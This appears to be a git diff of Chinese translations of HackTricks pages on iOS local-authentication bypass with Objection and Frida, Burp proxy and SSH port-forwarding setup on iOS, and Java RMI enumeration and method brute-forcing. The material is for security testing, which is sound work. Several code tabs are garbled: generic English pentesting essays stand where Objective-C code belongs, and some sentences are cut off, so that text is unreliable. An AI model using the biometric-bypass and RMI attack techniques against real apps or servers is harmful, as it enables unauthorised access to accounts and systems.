一些开发人员会将敏感数据保存在本地存储中,并使用在代码中硬编码/可预测的密钥进行加密。这样做是不应该的,因为一些逆向工程可能会使攻击者提取机密信息。
### 使用不安全和/或已弃用的算法
@ -751,14 +753,14 @@ ios monitor crypt
## 本地身份验证
**本地身份验证**在通过加密方法保护远程端点的访问时发挥着至关重要的作用。关键在于,如果没有适当的实现,本地身份验证机制可能会被绕过
**本地身份验证**在通过加密方法保护远程端点的访问时发挥着至关重要的作用。关键在于,如果没有适当的实现,本地身份验证机制可能会被规避
苹果的[**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication)和[**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)为开发人员提供了强大的API以便于用户身份验证对话框和安全处理秘密数据。安全区域为Touch ID提供指纹ID安全而Face ID依赖于面部识别而不会泄露生物识别数据。
苹果的[**本地身份验证框架**](https://developer.apple.com/documentation/localauthentication)和[**钥匙串**](https://developer.apple.com/library/content/documentation/Security/Conceptual/keychainServConcepts/01introduction/introduction.html)为开发人员提供了强大的API以便于用户身份验证对话框和安全处理秘密数据。安全区域Secure Enclave为Touch ID提供指纹识别而Face ID则依赖面部识别而不会泄露生物识别数据。
要集成Touch ID/Face ID开发人员有两个API选择
* **`LocalAuthentication.framework`** 用于高级用户身份验证,无访问生物识别数据。
* **`Security.framework`** 用于较低级别的钥匙串服务访问,使用生物识别身份验证来保护秘密数据。各种[开源包装器](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)使钥匙串访问更简单。
* **`LocalAuthentication.framework`** 用于高级用户身份验证,无访问生物识别数据。
* **`Security.framework`** 用于较低级别的钥匙串服务访问,通过生物识别身份验证来保护秘密数据。各种[开源包装器](https://www.raywenderlich.com/147308/secure-ios-user-data-keychain-touch-id)使钥匙串访问更简单。
{% hint style="danger" %}
然而,`LocalAuthentication.framework`和`Security.framework`都存在漏洞,因为它们主要返回布尔值,而不会传输数据进行身份验证过程,使其容易受到绕过攻击(参见[Don't touch me that way, by David Lindner et al](https://www.youtube.com/watch?v=XhXIHVGCFFM))。
@ -766,7 +768,7 @@ ios monitor crypt
### 实现本地身份验证
为了提示用户进行身份验证,开发人员应该在**`LAContext`**类中使用**`evaluatePolicy`**方法,在以下选项之间进行选择
为了提示用户进行身份验证,开发人员应该在**`LAContext`**类中使用**`evaluatePolicy`**方法,选择以下之一
* **`deviceOwnerAuthentication`**提示使用Touch ID或设备密码如果两者都未启用则失败。
* **`deviceOwnerAuthenticationWithBiometrics`**仅提示使用Touch ID。
@ -775,11 +777,11 @@ ios monitor crypt
### 使用钥匙串进行本地身份验证
在iOS应用程序中实现**本地身份验证**涉及使用**钥匙串API**来安全存储诸如身份验证令牌之类的秘密数据。该过程确保数据只能由用户使用其设备密码或Touch ID等生物识别身份验证来访问。
在iOS应用中实现**本地身份验证**涉及使用**钥匙串API**来安全存储诸如身份验证令牌之类的秘密数据。该过程确保数据只能由用户使用其设备密码或Touch ID等生物识别身份验证来访问。
钥匙串提供了设置带有`SecAccessControl`属性的项目的功能该属性限制对项目的访问直到用户通过Touch ID或设备密码成功进行身份验证。这一功能对于增强安全性至关重要。
以下是Swift和Objective-C中的代码示例演示如何将字符串保存到钥匙串中并从中检索出来利用这些安全功能。这些示例特别展示了如何设置访问控制以要求Touch ID身份验证并确保数据仅在设置的设备上可访问前提是配置了设备密码。
以下是Swift和Objective-C中的代码示例演示如何将字符串保存到钥匙串中并从中检索出来利用这些安全功能。示例特别展示了如何设置访问控制以要求Touch ID身份验证并确保数据仅在设置的设备上可访问前提是配置了设备密码。
{% tabs %}
{% tab title="Swift" %}
@ -823,47 +825,45 @@ if status == noErr {
{% tab title="Objective-C" %}
## iOS Pentesting
## iOS Application Pentesting
### Setting up the Environment
To perform iOS pentesting, you need a macOS machine with Xcode installed. Xcode is the official IDE for developing iOS applications and includes all the necessary tools for iOS pentesting.
To perform iOS application pentesting, you need a macOS system with Xcode installed. Xcode is the official IDE for developing iOS applications and comes with various tools necessary for pentesting.
### Tools for iOS Pentesting
### Tools for iOS Application Pentesting
1. **Cycript**: A runtime manipulation tool that allows developers to explore and modify running applications.
2. **Clutch**: A tool used to decrypt iOS applications.
3. **Dumpdecrypted**: A tool to decrypt encrypted iOS applications.
4. **Frida**: A dynamic instrumentation toolkit that can be used for iOS pentesting.
5. **MobSF**: Mobile Security Framework, which can be used for static and dynamic analysis of iOS applications.
6. **Needle**: An open-source modular framework to streamline the process of conducting security assessments of iOS apps.
1. **Xcode**: Required for building and running iOS applications on a simulator or a physical device.
2. **Cycript**: A runtime manipulation tool that allows you to explore and modify running applications.
3. **Class-dump-z**: Used for generating headers from Mach-O files.
4. **Dumpdecrypted**: A tool for decrypting encrypted iOS applications.
5. **Hopper Disassembler**: Useful for disassembling, decompiling, and debugging applications.
6. **MobSF**: Mobile Security Framework for automated security analysis of iOS applications.
7. **Burp Suite**: A proxy tool for intercepting and modifying HTTP/S traffic.
### Common Vulnerabilities in iOS Applications
1. **Insecure Data Storage**: Storing sensitive data in an insecure manner.
2. **Insecure Communication**: Transmitting data over unencrypted channels.
3. **Insecure Authentication**: Weak authentication mechanisms.
4. **Insecure Code**: Vulnerabilities in the code that can be exploited.
5. **Improper Session Handling**: Mishandling of session tokens leading to session hijacking.
6. **Client-Side Injection**: Injection attacks due to improper input validation.
7. **Security Decisions Via Untrusted Inputs**: Making security decisions based on user inputs without validation.
8. **Improper Platform Usage**: Misusing platform features leading to security issues.
4. **Insecure Code**: Vulnerabilities in the application code.
5. **Improper Session Handling**: Issues related to session management.
6. **Client-Side Injection**: Injection attacks on the client-side.
7. **Security Decisions via Untrusted Inputs**: Making security decisions based on user inputs.
8. **Lack of Binary Protections**: Absence of binary protections like ASLR and DEP.
### iOS Pentesting Methodology
### Methodology for iOS Application Pentesting
1. **Information Gathering**: Collect information about the target application.
2. **Static Analysis**: Analyze the application binary for vulnerabilities.
3. **Dynamic Analysis**: Test the application while it is running.
4. **Runtime Analysis**: Monitor the application's behavior during runtime.
5. **Data Storage Analysis**: Check how data is stored and secured.
6. **Network Analysis**: Analyze network traffic for security issues.
7. **Client-Side Testing**: Test the client-side of the application for vulnerabilities.
8. **Server-Side Testing**: Test the server-side components for security weaknesses.
9. **Reporting**: Document all findings and create a comprehensive report.
1. **Information Gathering**: Understanding the application functionality and technologies used.
2. **Static Analysis**: Analyzing the application binary for vulnerabilities.
3. **Dynamic Analysis**: Testing the application's behavior during runtime.
4. **Network Traffic Analysis**: Inspecting the network traffic for security issues.
5. **Runtime Manipulation**: Modifying the application's behavior using runtime manipulation tools.
6. **Reporting**: Documenting the findings and providing recommendations for mitigation.
### Conclusion
iOS pentesting is essential to identify and mitigate security vulnerabilities in iOS applications. By following a structured methodology and using the right tools, security professionals can effectively assess the security posture of iOS apps.
iOS application pentesting involves identifying and exploiting security vulnerabilities in iOS applications to enhance their overall security posture.
{% endtab %}
```objectivec
@ -924,20 +924,15 @@ let password = String(data: queryResult as! Data, encoding: .utf8)!
### Setting up the Environment
To start iOS application pentesting, you need a macOS system with Xcode installed. Xcode is the official IDE for developing iOS applications and comes with all the necessary tools for iOS app pentesting.
To start iOS application pentesting, you need a macOS system with Xcode installed. Xcode is the official IDE for developing iOS applications and comes with a built-in iOS simulator for testing.
### Tools for iOS Application Pentesting
1. **Xcode**: Required for building and running iOS applications.
2. **iOS Simulator**: Comes with Xcode and allows you to simulate iOS devices on your macOS system.
3. **Cycript**: A developer's utility for in-app runtime manipulation.
4. **Class-dump-z**: Used for generating headers from Mach-O files.
5. **Hopper Disassembler**: Helps in disassembling and decompiling applications.
6. **MobSF**: Mobile Security Framework for automated security analysis of iOS applications.
7. **Burp Suite**: Proxy tool for intercepting and inspecting traffic between iOS apps and servers.
8. **Charles Proxy**: Another proxy tool for monitoring and manipulating network traffic.
9. **SSL Kill Switch 2**: Bypass SSL pinning in iOS applications.
10. **Needle**: iOS security testing framework for security researchers.
1. **Cycript**: A runtime manipulation tool that allows developers to explore and modify running applications.
2. **Clutch**: A tool used to decrypt iOS applications.
3. **Dumpdecrypted**: Another tool for decrypting iOS applications.
4. **Frida**: A dynamic instrumentation toolkit that can be used for various security testing activities.
5. **MobSF**: Mobile Security Framework, which can be used for static and dynamic analysis of iOS applications.
### Common Vulnerabilities in iOS Applications
@ -945,25 +940,21 @@ To start iOS application pentesting, you need a macOS system with Xcode installe
2. **Insecure Communication**: Transmitting data over unencrypted channels.
3. **Insecure Authentication**: Weak authentication mechanisms.
4. **Insecure Code**: Vulnerabilities in the code that can be exploited.
5. **Improper Session Handling**: Issues related to session management.
6. **Client-Side Injection**: Injection attacks on the client-side.
7. **Security Decisions Via Untrusted Inputs**: Making security decisions based on untrusted inputs.
8. **Broken Cryptography**: Weak encryption algorithms or implementation.
9. **Sensitive Information Disclosure**: Revealing sensitive information to unauthorized users.
10. **Privacy Violation**: Violating user privacy by accessing unauthorized data.
5. **Improper Session Handling**: Mishandling of session tokens leading to session hijacking.
### iOS Application Pentesting Methodology
### Testing Methodologies
1. **Information Gathering**: Collect information about the target application.
2. **Static Analysis**: Analyze the application's code and binaries without executing them.
3. **Dynamic Analysis**: Execute the application and analyze its behavior at runtime.
4. **Traffic Interception**: Intercept and analyze network traffic between the application and servers.
5. **Security Testing**: Test for common vulnerabilities like insecure storage, communication, authentication, etc.
6. **Reporting**: Document all findings and provide recommendations for improving security.
1. **Static Analysis**: Analyzing the application without executing it.
2. **Dynamic Analysis**: Analy with the application while it is running.
3. **Runtime Analysis**: Monitoring the application's behavior during runtime.
### Conclusion
### Reporting
iOS application pentesting is crucial for identifying and fixing security vulnerabilities in iOS applications. By following a systematic methodology and using the right tools, security researchers can help improve the overall security posture of iOS apps.
After conducting pentesting, a detailed report should be prepared outlining the vulnerabilities found and recommendations for mitigation.
### Legal Considerations
Ensure that you have proper authorization before conducting any pentesting activities to avoid legal consequences.
{% endtab %}
```objectivec
@ -1003,7 +994,7 @@ $ otool -L <AppName>.app/<AppName>
#### **Objection**
通过位于[此 GitHub 页面](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)的**Objection生物识别绕过**,可以使用一种技术来绕过**LocalAuthentication**机制。这种方法的核心是利用**Frida**来操纵`evaluatePolicy`函数,确保它始终产生`True`结果,而不考虑实际身份验证成功与否。这对于规避存在缺陷的生物识别身份验证流程特别有用。
通过**Objection生物识别绕过**位于[此GitHub页面](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass)上,有一种技术可用于绕过**LocalAuthentication**机制。该方法的核心是利用**Frida**来操纵`evaluatePolicy`函数,确保它始终产生`True`结果,而不考虑实际身份验证成功与否。这对于规避存在缺陷的生物识别身份验证流程特别有用。
要激活此绕过,使用以下命令:
```bash
@ -1018,7 +1009,7 @@ $ otool -L <AppName>.app/<AppName>
#### Frida
来自[DVIA-v2 应用](https://github.com/prateek147/DVIA-v2)中使用 **`evaluatePolicy`** 的一个示例
**`evaluatePolicy`** 的使用示例来自[DVIA-v2 应用程序](https://github.com/prateek147/DVIA-v2)
```swift
+(void)authenticateWithTouchID {
LAContext *myContext = [[LAContext alloc] init];
@ -1147,12 +1138,12 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
* 您可以访问**`/User/Library/Notes/notes.sqlite`**以阅读应用程序内保存的笔记。
* 在已安装应用程序的文件夹中(**`/User/Applications/<APP ID>/`**),您可以找到一些有趣的文件:
* **`iTunesArtwork`**:应用程序使用的图标
* **`iTunesMetadata.plist`**App Store中使用的应用程序信息
* **`iTunesMetadata.plist`**App Store中使用的应用程序信息
* **`/Library/*`**:包含首选项和缓存。在**`/Library/Cache/Snapshots/*`**中,您可以找到应用程序在发送到后台之前执行的快照。
### 热修补/强制更新
开发人员可以远程**即修补其应用程序的所有安装**而无需重新提交应用程序到App Store并等待批准。\
开发人员可以远程**即修补其应用程序的所有安装**而无需重新提交应用程序到App Store并等待批准。\
为此,通常使用[JSPatch](https://github.com/bang590/JSPatch)**。** 但也有其他选项,如[Siren](https://github.com/ArtSabintsev/Siren)和[react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker)。\
**这是一种危险的机制可能会被恶意第三方SDK滥用因此建议检查使用哪种方法进行自动更新如果有并进行测试。** 您可以尝试下载应用程序的先前版本以进行此目的。
@ -1160,7 +1151,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
**第三方SDK**的一个重要挑战是对其功能的**缺乏细粒度控制**。开发人员面临选择要么集成SDK并接受其所有功能包括潜在的安全漏洞和隐私问题要么完全放弃其好处。通常开发人员无法自行修补这些SDK中的漏洞。此外随着SDK在社区中获得信任一些可能开始包含恶意软件。
第三方SDK提供的服务可能包括用户行为跟踪、广告显示或用户体验增强。然而这带来了风险因为开发人员可能不完全了解这些库执行的代码从而导致潜在的隐私和安全风险。限制与第三方服务共享的信息至关重要,确保仅共享必要信息,并确保不会泄露敏感数据。
第三方SDK提供的服务可能包括用户行为跟踪、广告显示或用户体验增强。然而这带来了风险因为开发人员可能不完全了解这些库执行的代码,从而导致潜在的隐私和安全风险。限制与第三方服务共享的信息至必要信息,并确保不会泄露敏感数据,这一点至关重要
第三方服务的实施通常有两种形式独立库或完整SDK。为了保护用户隐私与这些服务共享的任何数据都应该**匿名化**以防止泄露个人可识别信息PII
@ -1196,10 +1187,10 @@ otool -L <application_path>
* [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS)
* [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2)
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可以轻松构建和 **自动化工作流程**使用世界上 **最先进** 的社区工具。\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可以轻松构建和 **自动化** 使用世界上 **最先进** 的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

View file

@ -6,15 +6,15 @@
支持HackTricks的其他方式
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
- 如果您想看到您的**公司在HackTricks中被广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
- 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
- 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
- **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我们 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
@ -24,7 +24,7 @@
## 在iOS设备上安装Burp证书
为了进行安全的Web流量分析和iOS设备上的SSL绑定可以通过**Burp Mobile Assistant**或手动配置来利用Burp Suite。以下是两种方法的要指南:
为了进行安全的Web流量分析和iOS设备上的SSL绑定可以通过**Burp Mobile Assistant**或手动配置来利用Burp Suite。以下是两种方法的要指南:
### 使用Burp Mobile Assistant进行自动安装
@ -32,33 +32,33 @@
### 手动安装步骤
1. **代理配置:**首先在iPhone的Wi-Fi设置中将Burp设置为代理。
2. **证书下载:**在设备的浏览器中导航至`http://burp`以下载证书。
3. **证书安装:**通过**设置** > **通用** > **VPN和设备管理**安装下载的配置文件,然后在**证书信任设置**下启用对PortSwigger CA的信任。
1. **代理配置:** 首先在iPhone的Wi-Fi设置中将Burp设置为代理。
2. **证书下载:** 在设备的浏览器中导航至`http://burp`以下载证书。
3. **证书安装:** 通过**设置** > **通用** > **VPN和设备管理**安装下载的配置文件,然后在**证书信任设置**下启用对PortSwigger CA的信任。
### 配置拦截代理
该设置使iOS设备与互联网之间的流量分析通过Burp进行需要支持客户端到客户端流量的Wi-Fi网络。如果不可用可以通过usbmuxd的USB连接作为替代方法。PortSwigger的教程提供了关于[设备配置](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp)和[证书安装](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)的详细说明。
该设置使iOS设备与互联网之间的流量分析通过Burp进行需要支持客户端到客户端流量的Wi-Fi网络。如果不可用通过usbmuxd的USB连接可以作为替代方法。PortSwigger的教程提供了关于[设备配置](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp)和[证书安装](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device)的详细说明。
### 针对越狱设备的高级配置
对于越狱设备的用户通过USB上的SSH通过**iproxy**)提供了一种将流量直接路由通过Burp的方法
对于越狱设备的用户通过USB上的SSH通过**iproxy**提供了一种直接通过Burp路由流量的方法:
1. **建立SSH连接**使用iproxy将SSH转发到本地主机允许iOS设备连接到运行Burp的计算机。
1. **建立SSH连接** 使用iproxy将SSH转发到本地主机允许iOS设备连接到运行Burp的计算机。
```bash
iproxy 2222 22
```
2. **远程端口转发:**将iOS设备的端口8080转发到计算机的本地主机以便直接访问Burp的界面。
2. **远程端口转发:** 将iOS设备的端口8080转发到计算机的localhost以便直接访问Burp的界面。
```bash
ssh -R 8080:localhost:8080 root@localhost -p 2222
```
3. **全局代理设置:**最后配置iOS设备的Wi-Fi设置使用手动代理将所有Web流量通过Burp进行路由
3. **全局代理设置:** 最后配置iOS设备的Wi-Fi设置使用手动代理将所有Web流量引导通过Burp。
### 完整的网络监控/嗅探
可以使用**Wireshark**高效地监控非HTTP设备流量这是一种能够捕获所有形式数据流量的工具。对于iOS设备通过创建远程虚拟接口实现实时流量监控个过程在[这篇Stack Overflow帖子](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)中有详细说明。在开始之前需要在macOS系统上安装**Wireshark**。
可以使用**Wireshark**高效地监控非HTTP设备流量这是一种能够捕获所有形式数据流量的工具。对于iOS设备通过创建远程虚拟接口实现实时流量监控一过程在[此Stack Overflow帖子](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819)中有详细说明。在开始之前需要在macOS系统上安装**Wireshark**。
该过程涉及几个关键步骤:
@ -103,10 +103,10 @@ Starting device <UDID> [SUCCEEDED] with interface rvi0
* 点击_**Ok**_然后点击_**Apply**_
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)轻松构建和**自动化工作流**,使用世界上**最先进**的社区工具。\
使用[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)可以轻松构建和**自动化工作流**,使用世界上**最先进**的社区工具。\
立即获取访问权限:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
@ -120,7 +120,7 @@ Starting device <UDID> [SUCCEEDED] with interface rvi0
* 如果您想在HackTricks中看到您的**公司广告**或**下载PDF格式的HackTricks**,请查看[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[NFTs](https://opensea.io/collection/the-peass-family)收藏品
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**上关注**我们。
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
</details>

View file

@ -6,15 +6,15 @@
支持 HackTricks 的其他方式:
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 如果您想看到您的**公司在 HackTricks 中做广告**或**下载 PDF 版的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) 上 **关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来**分享您的黑客技巧**
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** 上关注**我们。
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
</details>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
\
使用 [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) 可以轻松构建和**自动化工作流程**,使用世界上**最先进**的社区工具。\
@ -24,7 +24,7 @@
## 基本信息
_Java 远程方法调用__Java RMI_,是一种面向对象的 _RPC_ 机制,允许一个位于一个 _Java 虚拟机_中的对象调用另一个 _Java 虚拟机_中的对象上的方法。这使开发人员能够使用面向对象的范编写分布式应用程序。可以在[此黑帽演讲](https://youtu.be/t\_aw1mDNhzI?t=202)中找到从攻击者角度的 _Java RMI_ 的简短介绍。
_Java 远程方法调用__Java RMI_,是一种面向对象的 _RPC_ 机制,允许一个位于一个 _Java 虚拟机_中的对象调用另一个 _Java 虚拟机_中的对象上的方法。这使开发人员能够使用面向对象的范编写分布式应用程序。可以在[此黑帽演讲](https://youtu.be/t\_aw1mDNhzI?t=202)中找到从攻击者角度的 _Java RMI_ 的简短介绍。
**默认端口:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
@ -34,9 +34,9 @@ PORT STATE SERVICE VERSION
37471/tcp open java-rmi Java RMI
40259/tcp open ssl/java-rmi Java RMI
```
通常只有默认的_Java RMI_组件_RMI Registry_和_Activation System_绑定到常见端口。实现实际_RMI_应用程序的_远程对象_通常绑定到随机端口如上所示的输出。
通常只有默认的_Java RMI_组件_RMI Registry_和_Activation System_绑定到常见端口。实现实际_Java RMI_应用程序的_远程对象_通常绑定到随机端口如上所示的输出。
_nmap_有时会在识别受_SSL_保护的_RMI_服务时遇到问题。如果在常见_RMI_端口上遇到未知的ssl服务应进一步调查。
_nmap_有时会在识别受_SSL保护的_RMI_服务时遇到问题。如果在常见_RMI_端口上遇到未知的ssl服务应进一步调查。
## RMI组件
@ -47,7 +47,7 @@ _nmap_有时会在识别受_SSL_保护的_RMI_服务时遇到问题。如果在
第一个挑战由_RMI注册表_解决它基本上是_Java RMI_的命名服务。_RMI注册表_本身也是一个_RMI服务_但实现的接口和`ObjID`是固定的并且所有_RMI_客户端都知道。这使_RMI_客户端可以通过知道相应的_TCP_端口来使用_RMI注册表。
当开发人员希望将他们的_Java对象_在网络中提供时他们通常将它们绑定到_RMI注册表_。_注册表_存储了连接到对象所需的所有信息IP地址、监听端口、实现的类或接口和`ObjID`值并将其提供在一个人类可读的名称下_绑定名称_。想要消费_RMI服务_的客户端向_RMI注册表请求相应的_绑定名称_注册表返回所有连接所需的信息。因此情况基本上与普通_DNS_服务相同。下面的示例显示了一个小例子:
当开发人员希望将他们的_Java对象_在网络中提供时他们通常将它们绑定到_RMI注册表_。_注册表_存储了连接到对象所需的所有信息IP地址、监听端口、实现的类或接口和`ObjID`值并将其提供在一个人类可读的名称下_绑定名称_。想要消费_RMI服务_的客户端向_RMI注册表_请求相应的_绑定名称_注册表返回所有连接所需的信息。因此情况基本上与普通_DNS_服务相同。以下清单显示了一个小例子:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@ -71,19 +71,19 @@ e.printStackTrace();
}
}
```
上述挑战的第二个问题是通过**分布式垃圾收器**Distributed Garbage CollectorDGC解决的。这是另一个具有众所周知的`ObjID`值的**RMI服务**,基本上每个**RMI端点**上都可以找到它。当**RMI客户端**开始使用**RMI服务**时,它会向**DGC**发送一个信息,说明相应的**远程对象**正在使用中。**DGC**然后可以跟踪引用计数,并能够清理未使用的对象。
上述挑战的第二个问题是通过**分布式垃圾收器**Distributed Garbage CollectorDGC解决的。这是另一个具有众所周知的`ObjID`值的**RMI服务**,基本上每个**RMI端点**上都可以找到它。当**RMI客户端**开始使用**RMI服务**时,它会向**DGC**发送一个信息,说明相应的**远程对象**正在使用中。**DGC**然后可以跟踪引用计数,并能够清理未使用的对象。
连同已弃用的**激活系统**一起,这些是**Java RMI**的三个默认组件:
1. **RMI注册表**`ObjID = 0`
2. **激活系统**`ObjID = 1`
3. **分布式垃圾收器**`ObjID = 2`
3. **分布式垃圾器**`ObjID = 2`
**Java RMI**的默认组件长期以来一直是已知的攻击向量,并且在过时的**Java**版本中存在多个漏洞。从攻击者的角度来看,这些默认组件很有趣,因为它们实现了已知的类/接口,很容易与它们进行交互。对于自定义**RMI服务**,情况则不同。要调用**远程对象**上的方法,您需要事先知道相应的方法签名。如果不知道现有方法签名,无法与**RMI服务**进行通信。
**Java RMI**的默认组件长期以来一直是已知的攻击向量,并且在过时的**Java**版本中存在多个漏洞。从攻击者的角度来看,这些默认组件很有趣,因为它们实现了已知的类/接口,很容易与它们进行交互。对于自定义**RMI服务**,情况则有所不同。要调用**远程对象**上的方法,您需要事先知道相应的方法签名。如果不知道现有方法签名,无法与**RMI服务**进行通信。
## RMI枚举
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)是一个**Java RMI**漏洞扫描程序,能够自动识别常见的**RMI漏洞**。每当您识别到一个**RMI**端点时,都应该尝试一下
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)是一个**Java RMI**漏洞扫描,能够自动识别常见的**RMI漏洞**。每当您识别到一个**RMI**端点时,都应该尝试使用它
```
$ rmg enum 172.17.0.2 9010
[+] RMI registry bound names:
@ -156,11 +156,11 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Time: 1640761503828 (Dec 29,2021 08:05)
[+] Count: -32760
```
## Bruteforcing Remote Methods
## 强制破解远程方法
即使在枚举过程中未发现漏洞,可用的 _RMI_ 服务仍可能暴露危险函数。此外,尽管 _RMI_ _RMI_ 默认组件的通信受到反序列化过滤器的保护,但当与自定义 _RMI_ 服务通信时,通常不会设置此类过滤器。因此,了解 _RMI_ 服务上的有效方法签名非常有价值。
即使在枚举过程中未发现漏洞,可用的 _RMI_ 服务仍可能暴露危险函数。此外,尽管 _RMI_ 通信到 _RMI_ 默认组件受到反序列化过滤器的保护,但与自定义 _RMI_ 服务通信时,通常不会设置此类过滤器。因此,了解 _RMI_ 服务上的有效方法签名非常有价值。
不幸的是_Java RMI_ 不支持枚举 _远程对象_ 上的方法。尽管如此,可以使用诸如 [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) 或 [rmiscout](https://github.com/BishopFox/rmiscout) 等工具来暴力破解方法签名:
